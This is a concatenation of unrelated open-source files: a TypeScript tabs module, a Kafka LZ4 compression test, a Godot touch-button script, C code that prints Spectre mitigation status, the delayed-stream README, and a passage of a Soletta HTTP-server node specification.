const detailsTabId = 0;
const servicesTabId = 1;
const timelineTabId = 2;
const graphTabId = 3;
const shortcutsTabId = 4;
export interface TabProps {
details?: ResourceDetails;
}
const tabs: Array<Tab> = [
{
id: detailsTabId,
Component: DetailsTab,
title: labelDetails,
getIsActive: (): boolean => true,
},
{
id: servicesTabId,
Component: ServicesTab,
title: labelServices,
getIsActive: (details: ResourceDetails): boolean => {
return details.type === 'host';
},
},
{
id: timelineTabId,
Component: TimelineTab,
title: labelTimeline,
getIsActive: (): boolean => true,
},
{
id: graphTabId,
Component: GraphTab,
title: labelGraph,
getIsActive: (details: ResourceDetails): boolean => {
if (isNil(details)) {
return false;
}
return !isNil(path(['links', 'endpoints', 'performance_graph'], details));
},
},
{
id: shortcutsTabId,
Component: ShortcutsTab,
title: labelShortcuts,
getIsActive: (details: ResourceDetails): boolean => {
if (isNil(details)) {
return false;
}
const { links, parent } = details;
const parentUris = parent?.links.uris;
return any(hasDefinedValues, [parentUris, links.uris]);
},
},
];
const useStyles = makeStyles((theme) => ({
container: {
padding: theme.spacing(2),
},
}));
interface TabByIdProps {
details?: ResourceDetails;
id: number;
}
const TabById = ({ id, details }: TabByIdProps): JSX.Element | null => {
const classes = useStyles();
const { Component } = find(propEq('id', id), tabs) as Tab;
return (
<div className={classes.container}>
<Component details={details} />
</div>
);
};
const tabIdByLabel = {
details: detailsTabId,
services: servicesTabId,
timeline: timelineTabId,
shortcuts: shortcutsTabId,
graph: graphTabId,
};
const getTabIdFromLabel = (label: string): TabId => {
const tabId = tabIdByLabel[label];
if (isNil(tabId)) {
return detailsTabId;
}
return tabId;
};
const getTabLabelFromId = (id: TabId): string => {
return invertObj(tabIdByLabel)[id];
};
export {
detailsTabId,
timelineTabId,
graphTabId,
shortcutsTabId,
servicesTabId,
tabs,
TabById,
getTabIdFromLabel,
getTabLabelFromId,
};
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.kafka.common.record;
import net.jpountz.xxhash.XXHashFactory;
import org.hamcrest.CoreMatchers;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
import java.util.Random;
import static org.apache.kafka.common.record.KafkaLZ4BlockOutputStream.LZ4_FRAME_INCOMPRESSIBLE_MASK;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
@RunWith(value = Parameterized.class)
public class KafkaLZ4Test {
private final static Random RANDOM = new Random(0);
private final boolean useBrokenFlagDescriptorChecksum;
private final boolean ignoreFlagDescriptorChecksum;
private final byte[] payload;
private final boolean close;
private final boolean blockChecksum;
static class Payload {
String name;
byte[] payload;
Payload(String name, byte[] payload) {
this.name = name;
this.payload = payload;
}
@Override
public String toString() {
return "Payload{" +
"size=" + payload.length +
", name='" + name + '\'' +
'}';
}
}
@Parameters(name = "{index} useBrokenFlagDescriptorChecksum={0}, ignoreFlagDescriptorChecksum={1}, blockChecksum={2}, close={3}, payload={4}")
public static Collection<Object[]> data() {
List<Payload> payloads = new ArrayList<>();
payloads.add(new Payload("empty", new byte[]{}));
payloads.add(new Payload("onebyte", new byte[]{1}));
for (int size : Arrays.asList(1000, 1 << 16, (1 << 10) * 96)) {
byte[] random = new byte[size];
RANDOM.nextBytes(random);
payloads.add(new Payload("random", random));
byte[] ones = new byte[size];
Arrays.fill(ones, (byte) 1);
payloads.add(new Payload("ones", ones));
}
List<Object[]> values = new ArrayList<>();
for (Payload payload : payloads)
for (boolean broken : Arrays.asList(false, true))
for (boolean ignore : Arrays.asList(false, true))
for (boolean blockChecksum : Arrays.asList(false, true))
for (boolean close : Arrays.asList(false, true))
values.add(new Object[]{broken, ignore, blockChecksum, close, payload});
return values;
}
public KafkaLZ4Test(boolean useBrokenFlagDescriptorChecksum, boolean ignoreFlagDescriptorChecksum,
boolean blockChecksum, boolean close, Payload payload) {
this.useBrokenFlagDescriptorChecksum = useBrokenFlagDescriptorChecksum;
this.ignoreFlagDescriptorChecksum = ignoreFlagDescriptorChecksum;
this.payload = payload.payload;
this.close = close;
this.blockChecksum = blockChecksum;
}
@Test
public void testHeaderPrematureEnd() {
ByteBuffer buffer = ByteBuffer.allocate(2);
IOException e = assertThrows(IOException.class, () -> makeInputStream(buffer));
assertEquals(KafkaLZ4BlockInputStream.PREMATURE_EOS, e.getMessage());
}
private KafkaLZ4BlockInputStream makeInputStream(ByteBuffer buffer) throws IOException {
return new KafkaLZ4BlockInputStream(buffer, BufferSupplier.create(), ignoreFlagDescriptorChecksum);
}
@Test
public void testNotSupported() throws Exception {
byte[] compressed = compressedBytes();
compressed[0] = 0x00;
ByteBuffer buffer = ByteBuffer.wrap(compressed);
IOException e = assertThrows(IOException.class, () -> makeInputStream(buffer));
assertEquals(KafkaLZ4BlockInputStream.NOT_SUPPORTED, e.getMessage());
}
@Test
public void testBadFrameChecksum() throws Exception {
byte[] compressed = compressedBytes();
compressed[6] = (byte) 0xFF;
ByteBuffer buffer = ByteBuffer.wrap(compressed);
if (ignoreFlagDescriptorChecksum) {
makeInputStream(buffer);
} else {
IOException e = assertThrows(IOException.class, () -> makeInputStream(buffer));
assertEquals(KafkaLZ4BlockInputStream.DESCRIPTOR_HASH_MISMATCH, e.getMessage());
}
}
@Test
public void testBadBlockSize() throws Exception {
if (!close || (useBrokenFlagDescriptorChecksum && !ignoreFlagDescriptorChecksum))
return;
byte[] compressed = compressedBytes();
ByteBuffer buffer = ByteBuffer.wrap(compressed).order(ByteOrder.LITTLE_ENDIAN);
int blockSize = buffer.getInt(7);
blockSize = (blockSize & LZ4_FRAME_INCOMPRESSIBLE_MASK) | (1 << 24 & ~LZ4_FRAME_INCOMPRESSIBLE_MASK);
buffer.putInt(7, blockSize);
IOException e = assertThrows(IOException.class, () -> testDecompression(buffer));
assertThat(e.getMessage(), CoreMatchers.containsString("exceeded max"));
}
@Test
public void testCompression() throws Exception {
byte[] compressed = compressedBytes();
// Check magic bytes stored as little-endian
int offset = 0;
assertEquals(0x04, compressed[offset++]);
assertEquals(0x22, compressed[offset++]);
assertEquals(0x4D, compressed[offset++]);
assertEquals(0x18, compressed[offset++]);
// Check flg descriptor
byte flg = compressed[offset++];
// 2-bit version must be 01
int version = (flg >>> 6) & 3;
assertEquals(1, version);
// Reserved bits should always be 0
int reserved = flg & 3;
assertEquals(0, reserved);
// Check block descriptor
byte bd = compressed[offset++];
// Block max-size
int blockMaxSize = (bd >>> 4) & 7;
// Only supported values are 4 (64KB), 5 (256KB), 6 (1MB), 7 (4MB)
assertTrue(blockMaxSize >= 4);
assertTrue(blockMaxSize <= 7);
// Multiple reserved bit ranges in block descriptor
reserved = bd & 15;
assertEquals(0, reserved);
reserved = (bd >>> 7) & 1;
assertEquals(0, reserved);
// If flg descriptor sets content size flag
// there are 8 additional bytes before checksum
boolean contentSize = ((flg >>> 3) & 1) != 0;
if (contentSize)
offset += 8;
// Checksum applies to frame descriptor: flg, bd, and optional contentsize
// so initial offset should be 4 (for magic bytes)
int off = 4;
int len = offset - 4;
// Initial implementation of checksum incorrectly applied to full header
// including magic bytes
if (this.useBrokenFlagDescriptorChecksum) {
off = 0;
len = offset;
}
int hash = XXHashFactory.fastestInstance().hash32().hash(compressed, off, len, 0);
byte hc = compressed[offset++];
assertEquals((byte) ((hash >> 8) & 0xFF), hc);
// Check EndMark, data block with size `0` expressed as a 32-bits value
if (this.close) {
offset = compressed.length - 4;
assertEquals(0, compressed[offset++]);
assertEquals(0, compressed[offset++]);
assertEquals(0, compressed[offset++]);
assertEquals(0, compressed[offset++]);
}
}
@Test
public void testArrayBackedBuffer() throws IOException {
byte[] compressed = compressedBytes();
testDecompression(ByteBuffer.wrap(compressed));
}
@Test
public void testArrayBackedBufferSlice() throws IOException {
byte[] compressed = compressedBytes();
int sliceOffset = 12;
ByteBuffer buffer = ByteBuffer.allocate(compressed.length + sliceOffset + 123);
buffer.position(sliceOffset);
buffer.put(compressed).flip();
buffer.position(sliceOffset);
ByteBuffer slice = buffer.slice();
testDecompression(slice);
int offset = 42;
buffer = ByteBuffer.allocate(compressed.length + sliceOffset + offset);
buffer.position(sliceOffset + offset);
buffer.put(compressed).flip();
buffer.position(sliceOffset);
slice = buffer.slice();
slice.position(offset);
testDecompression(slice);
}
@Test
public void testDirectBuffer() throws IOException {
byte[] compressed = compressedBytes();
ByteBuffer buffer;
buffer = ByteBuffer.allocateDirect(compressed.length);
buffer.put(compressed).flip();
testDecompression(buffer);
int offset = 42;
buffer = ByteBuffer.allocateDirect(compressed.length + offset + 123);
buffer.position(offset);
buffer.put(compressed).flip();
buffer.position(offset);
testDecompression(buffer);
}
@Test
public void testSkip() throws Exception {
if (!close || (useBrokenFlagDescriptorChecksum && !ignoreFlagDescriptorChecksum)) return;
final KafkaLZ4BlockInputStream in = makeInputStream(ByteBuffer.wrap(compressedBytes()));
int n = 100;
int remaining = payload.length;
long skipped = in.skip(n);
assertEquals(Math.min(n, remaining), skipped);
n = 10000;
remaining -= skipped;
skipped = in.skip(n);
assertEquals(Math.min(n, remaining), skipped);
}
private void testDecompression(ByteBuffer buffer) throws IOException {
IOException error = null;
try {
KafkaLZ4BlockInputStream decompressed = makeInputStream(buffer);
byte[] testPayload = new byte[payload.length];
byte[] tmp = new byte[1024];
int n, pos = 0, i = 0;
while ((n = decompressed.read(tmp, i, tmp.length - i)) != -1) {
i += n;
if (i == tmp.length) {
System.arraycopy(tmp, 0, testPayload, pos, i);
pos += i;
i = 0;
}
}
System.arraycopy(tmp, 0, testPayload, pos, i);
pos += i;
assertEquals(-1, decompressed.read(tmp, 0, tmp.length));
assertEquals(this.payload.length, pos);
assertArrayEquals(this.payload, testPayload);
} catch (IOException e) {
if (!ignoreFlagDescriptorChecksum && useBrokenFlagDescriptorChecksum) {
assertEquals(KafkaLZ4BlockInputStream.DESCRIPTOR_HASH_MISMATCH, e.getMessage());
error = e;
} else if (!close) {
assertEquals(KafkaLZ4BlockInputStream.PREMATURE_EOS, e.getMessage());
error = e;
} else {
throw e;
}
}
if (!ignoreFlagDescriptorChecksum && useBrokenFlagDescriptorChecksum) assertNotNull(error);
if (!close) assertNotNull(error);
}
private byte[] compressedBytes() throws IOException {
ByteArrayOutputStream output = new ByteArrayOutputStream();
KafkaLZ4BlockOutputStream lz4 = new KafkaLZ4BlockOutputStream(
output,
KafkaLZ4BlockOutputStream.BLOCKSIZE_64KB,
blockChecksum,
useBrokenFlagDescriptorChecksum
);
lz4.write(this.payload, 0, this.payload.length);
if (this.close) {
lz4.close();
} else {
lz4.flush();
}
return output.toByteArray();
}
}
| {
"pile_set_name": "Github"
} |
extends Control
signal slide_change_requested(direction)
enum Directions {PREVIOUS = -1, NEXT = 1}
func _ready() -> void:
for child in get_children():
child.connect("touched", self, "_on_touch_button_touched")
func _on_touch_button_touched(button) -> void:
if button == $TouchButtonLeft:
emit_signal("slide_change_requested", Directions.PREVIOUS)
if button == $TouchButtonRight:
emit_signal("slide_change_requested", Directions.NEXT)
| {
"pile_set_name": "Github"
} |
#include <stdio.h>
#include <vuln/spectre.h>
#include "colors.h"
void
show_spectre_v1_info(struct spectre_info *info)
{
printf(CLI_BOLD "Direct Branch Speculation:\n" CLI_RESET);
printf(" * Status: ");
if (info->v1_affected) {
printf(CLI_BOLD CLI_RED "Vulnerable\n" CLI_RESET);
} else {
printf(CLI_BOLD CLI_GREEN "Not Affected\n" CLI_RESET);
}
printf(" * __user pointer sanitization: ");
if (info->uptr_san) {
printf(CLI_BOLD CLI_GREEN "Enabled\n" CLI_RESET);
} else if (info->v1_affected) {
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
} else {
printf(CLI_BOLD "Disabled\n" CLI_RESET);
}
}
void
show_spectre_v2_info(struct spectre_info *info)
{
printf(CLI_BOLD "Indirect Branch Speculation:\n" CLI_RESET);
printf(" * Status: ");
if (info->v2_affected) {
printf(CLI_BOLD CLI_RED "Vulnerable\n" CLI_RESET);
} else {
printf(CLI_BOLD CLI_GREEN "Not Affected\n" CLI_RESET);
}
printf(" * Retpoline: ");
switch (info->retpol) {
case RETPOL_ASM:
printf(CLI_BOLD CLI_GREEN "Assembly\n" CLI_RESET);
break;
case RETPOL_FULL:
printf(CLI_BOLD CLI_GREEN "Full\n" CLI_RESET);
break;
default:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
else
printf(CLI_BOLD "Disabled\n" CLI_RESET);
}
printf(" * IBPB: ");
switch (info->ibpb) {
case IBPB_ALWAYS:
printf(CLI_BOLD CLI_GREEN "Always\n" CLI_RESET);
break;
case IBPB_COND:
printf(CLI_BOLD CLI_GREEN "Conditional\n" CLI_RESET);
break;
case IBPB_PRESENT:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
else
printf(CLI_BOLD "Disabled\n" CLI_RESET);
break;
default:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Not Available\n" CLI_RESET);
else
printf(CLI_BOLD "Not Available\n" CLI_RESET);
}
printf(" * IBRS: ");
switch (info->ibrs) {
case IBRS_ENABLED:
printf(CLI_BOLD CLI_GREEN "Enabled\n" CLI_RESET);
break;
case IBRS_PRESENT:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
else
printf(CLI_BOLD "Disabled\n" CLI_RESET);
break;
default:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Not Available\n" CLI_RESET);
else
printf(CLI_BOLD "Not Available\n" CLI_RESET);
}
printf(" * STIBP: ");
switch (info->stibp) {
case STIBP_ENABLED:
printf(CLI_BOLD CLI_GREEN "Enabled\n" CLI_RESET);
break;
case STIBP_PRESENT:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
else
printf(CLI_BOLD "Disabled\n" CLI_RESET);
break;
default:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Not Available\n" CLI_RESET);
else
printf(CLI_BOLD "Not Available\n" CLI_RESET);
}
printf(" * SMEP: ");
switch (info->smep) {
case SMEP_ENABLED:
printf(CLI_BOLD CLI_GREEN "Enabled\n" CLI_RESET);
break;
case SMEP_PRESENT:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Disabled\n" CLI_RESET);
else
printf(CLI_BOLD "Disabled\n" CLI_RESET);
break;
default:
if (info->v2_affected)
printf(CLI_BOLD CLI_RED "Not Available\n" CLI_RESET);
else
printf(CLI_BOLD "Not Available\n" CLI_RESET);
}
}
| {
"pile_set_name": "Github"
} |
# delayed-stream
Buffers events from a stream until you are ready to handle them.
## Installation
``` bash
npm install delayed-stream
```
## Usage
The following example shows how to write a http echo server that delays its
response by 1000 ms.
``` javascript
var DelayedStream = require('delayed-stream');
var http = require('http');
http.createServer(function(req, res) {
var delayed = DelayedStream.create(req);
setTimeout(function() {
res.writeHead(200);
delayed.pipe(res);
}, 1000);
});
```
If you are not using `Stream#pipe`, you can also manually release the buffered
events by calling `delayedStream.resume()`:
``` javascript
var delayed = DelayedStream.create(req);
setTimeout(function() {
// Emit all buffered events and resume underlaying source
delayed.resume();
}, 1000);
```
## Implementation
In order to use this meta stream properly, here are a few things you should
know about the implementation.
### Event Buffering / Proxying
All events of the `source` stream are hijacked by overwriting the `source.emit`
method. Until node implements a catch-all event listener, this is the only way.
However, delayed-stream still continues to emit all events it captures on the
`source`, regardless of whether you have released the delayed stream yet or
not.
Upon creation, delayed-stream captures all `source` events and stores them in
an internal event buffer. Once `delayedStream.release()` is called, all
buffered events are emitted on the `delayedStream`, and the event buffer is
cleared. After that, delayed-stream merely acts as a proxy for the underlaying
source.
### Error handling
Error events on `source` are buffered / proxied just like any other events.
However, `delayedStream.create` attaches a no-op `'error'` listener to the
`source`. This way you only have to handle errors on the `delayedStream`
object, rather than in two places.
### Buffer limits
delayed-stream provides a `maxDataSize` property that can be used to limit
the amount of data being buffered. In order to protect you from bad `source`
streams that don't react to `source.pause()`, this feature is enabled by
default.
## API
### DelayedStream.create(source, [options])
Returns a new `delayedStream`. Available options are:
* `pauseStream`
* `maxDataSize`
The description for those properties can be found below.
### delayedStream.source
The `source` stream managed by this object. This is useful if you are
passing your `delayedStream` around, and you still want to access properties
on the `source` object.
### delayedStream.pauseStream = true
Whether to pause the underlaying `source` when calling
`DelayedStream.create()`. Modifying this property afterwards has no effect.
### delayedStream.maxDataSize = 1024 * 1024
The amount of data to buffer before emitting an `error`.
If the underlaying source is emitting `Buffer` objects, the `maxDataSize`
refers to bytes.
If the underlaying source is emitting JavaScript strings, the size refers to
characters.
If you know what you are doing, you can set this property to `Infinity` to
disable this feature. You can also modify this property during runtime.
### delayedStream.maxDataSize = 1024 * 1024
The amount of data to buffer before emitting an `error`.
If the underlaying source is emitting `Buffer` objects, the `maxDataSize`
refers to bytes.
If the underlaying source is emitting JavaScript strings, the size refers to
characters.
If you know what you are doing, you can set this property to `Infinity` to
disable this feature.
### delayedStream.dataSize = 0
The amount of data buffered so far.
### delayedStream.readable
An ECMA5 getter that returns the value of `source.readable`.
### delayedStream.resume()
If the `delayedStream` has not been released so far, `delayedStream.release()`
is called.
In either case, `source.resume()` is called.
### delayedStream.pause()
Calls `source.pause()`.
### delayedStream.pipe(dest)
Calls `delayedStream.resume()` and then proxies the arguments to `source.pipe`.
### delayedStream.release()
Emits and clears all events that have been buffered up so far. This does not
resume the underlaying source, use `delayedStream.resume()` instead.
## License
delayed-stream is licensed under the MIT license.
| {
"pile_set_name": "Github"
} |
{
"$schema": "http://solettaproject.github.io/soletta/schemas/node-type-genspec.schema",
"name": "http-server",
"meta": {
"author": "Intel Corporation",
"license": "Apache-2.0",
"version": "1"
},
"types": [
{
"category": "output/network",
"description": "HTTP Server for boolean. It will store the value received in the input port 'IN' and upon HTTP requests to server at 'port' option and the path specified at 'path' will return such value for GET method, and set the value on 'POST', in this case the new value will be sent on the 'OUT' port if it changed. The HTTP methods may change the content-type by providing 'Accept: application/json' header. POST should provide payload value=true or value=false.",
"methods": {
"close": "common_close",
"open": "boolean_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "boolean_response_cb",
"post_cb": "boolean_post_cb",
"process_cb": "boolean_process_cb",
"send_packet_cb": "boolean_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/boolean",
"options": {
"members": [
{
"data_type": "string",
"default": "/boolean",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "boolean",
"default": true,
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "boolean",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "boolean",
"description": "The value received on a POST or input port 'IN'. Packets are only emitted when the value change, so it is safe to use in feedback loops such as with persistence nodes.",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/boolean.html"
},
{
"category": "output/network",
"description": "HTTP Server for string. It will store the value received in the input port 'IN' and upon HTTP requests to server at 'port' option and the path specified at 'path' will return such value for GET method, and set the value on 'POST', in this case the new value will be sent on the 'OUT' port if it changed. The HTTP methods may change the content-type by providing 'Accept: application/json' header. POST should provide payload in the format value=urlencoded+string",
"methods": {
"close": "string_close",
"open": "string_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "string_response_cb",
"post_cb": "string_post_cb",
"process_cb": "string_process_cb",
"send_packet_cb": "string_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/string",
"options": {
"members": [
{
"data_type": "string",
"default": "/string",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "string",
"default": "",
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "string",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "string",
"description": "The value received on a POST or input port 'IN'. Packets are only emitted when the value change, so it is safe to use in feedback loops such as with persistence nodes.",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/string.html"
},
{
"category": "output/network",
"description": "HTTP Server for integer. It will store the value received in the input port 'IN' and upon HTTP requests to server at 'port' option and the path specified at 'path' will return such value for GET method, and set the value on 'POST', in this case the new value will be sent on the 'OUT' port if it changed. The HTTP methods may change the content-type by providing 'Accept: application/json' header. POST should provide payload in the format value=1&min=0&max=100&step=1 or a subset of parameters.",
"methods": {
"close": "common_close",
"open": "int_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "int_response_cb",
"post_cb": "int_post_cb",
"process_cb": "int_process_cb",
"send_packet_cb": "int_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/int",
"options": {
"members": [
{
"data_type": "string",
"default": "/int",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "int",
"default": 0,
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "irange-spec",
"default": {
"min": "INT32_MIN",
"max": "INT32_MAX",
"step": 1
},
"description": "The initial node's range",
"name": "value_spec"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "int",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "int",
"description": "The value received on a POST or input port 'IN'. Packets are only emitted when the value change, so it is safe to use in feedback loops such as with persistence nodes.",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/int.html"
},
{
"category": "output/network",
"description": "HTTP Server for float. It will store the value received in the input port 'IN' and upon HTTP requests to server at 'port' option and the path specified at 'path' will return such value for GET method, and set the value on 'POST', in this case the new value will be sent on the 'OUT' port if it changed. The HTTP methods may change the content-type by providing 'Accept: application/json' header. POST should provide payload in the format value=1.0&min=0.0&max=100.0&step=1.0 or a subset of parameters.",
"methods": {
"close": "common_close",
"open": "float_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "float_response_cb",
"post_cb": "float_post_cb",
"process_cb": "float_process_cb",
"send_packet_cb": "float_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/float",
"options": {
"members": [
{
"data_type": "string",
"default": "/float",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "float",
"default": 0,
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "drange-spec",
"default": {
"min": "-DBL_MAX",
"max": "DBL_MAX",
"step": "DBL_MIN"
},
"description": "The initial node's range",
"name": "value_spec"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "float",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "float",
"description": "The value received on a POST or input port 'IN'. Packets are only emitted when the value change, so it is safe to use in feedback loops such as with persistence nodes.",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/float.html"
},
{
"category": "output/network",
"description": "HTTP Server for static files. This is a convenience type that can serve contents to manage or display a set of other resources exposed with http-server/* nodes, such as configuration or status screens.",
"methods": {
"close": "static_close",
"open": "static_open"
},
"name": "http-server/static",
"options": {
"members": [
{
"data_type": "string",
"description": "The path where the server will look for the files",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "string",
"default": "/",
"description": "The http base name (prefix path) where it will be served",
"name": "basename"
},
{
"data_type": "boolean",
"default": true,
"description": "If the files will be served as soon as the node opens",
"name": "enabled"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "boolean",
"description": "Enables or disables serve files from the path set",
"methods": {
"process": "static_process"
},
"name": "ENABLED",
"required": false
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/static.html"
},
{
"category": "output/network",
"description": "HTTP Server for RGB. The GET response will vary according to the client's HTTP Accept header. If the Accept header is set to 'application/json', the response will include all color components (green, red, blue, green_max, red_max and blue_max). However if the Accept header is not 'application/json', the response will be in 'plain/text' and the color will be expressed in hexdecimal using the following format: #RRGGBB",
"methods": {
"close": "common_close",
"open": "rgb_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "rgb_response_cb",
"post_cb": "rgb_post_cb",
"process_cb": "rgb_process_cb",
"send_packet_cb": "rgb_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/rgb",
"options": {
"members": [
{
"data_type": "string",
"default": "/rgb",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "rgb",
"default": {
"red": 255,
"green": 255,
"blue": 255
},
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "rgb",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "rgb",
"description": "The value received on a POST",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/rgb.html"
},
{
"category": "output/network",
"description": "HTTP Server for direction vector. The GET response will vary according to the client's HTTP Accept header. If the Accept header is set to 'application/json', the response will include all direction vector components (x, y, z, min, max). However if the Accept header is not 'application/json', the response will be in 'plain/text' and the color will be expressed in hexdecimal using the following format: (X;Y;Z)",
"methods": {
"close": "common_close",
"open": "direction_vector_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "direction_vector_response_cb",
"post_cb": "direction_vector_post_cb",
"process_cb": "direction_vector_process_cb",
"send_packet_cb": "direction_vector_send_packet_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/direction-vector",
"options": {
"members": [
{
"data_type": "string",
"default": "/direction-vector",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "direction-vector",
"default": {
"x": 0,
"y": 0,
"z": 0
},
"description": "The initial node's value",
"name": "value"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "direction-vector",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "direction-vector",
"description": "The value received on a POST",
"name": "OUT"
}
],
"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/direction-vector.html"
},
{
"category": "output/network",
"description": "HTTP Server for Blob.",
"methods": {
"close": "blob_close",
"open": "blob_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"process_cb": "blob_process_cb",
"send_packet_cb": "blob_send_packet_cb",
"handle_response_cb": "blob_handle_response_cb"
}
},
"name": "http-server/blob",
"options": {
"members": [
{
"data_type": "string",
"default": "/blob",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "blob",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "IN"
}
],
"out_ports": [
{
"data_type": "blob",
"description": "The value received on a POST",
"name": "OUT"
}
],
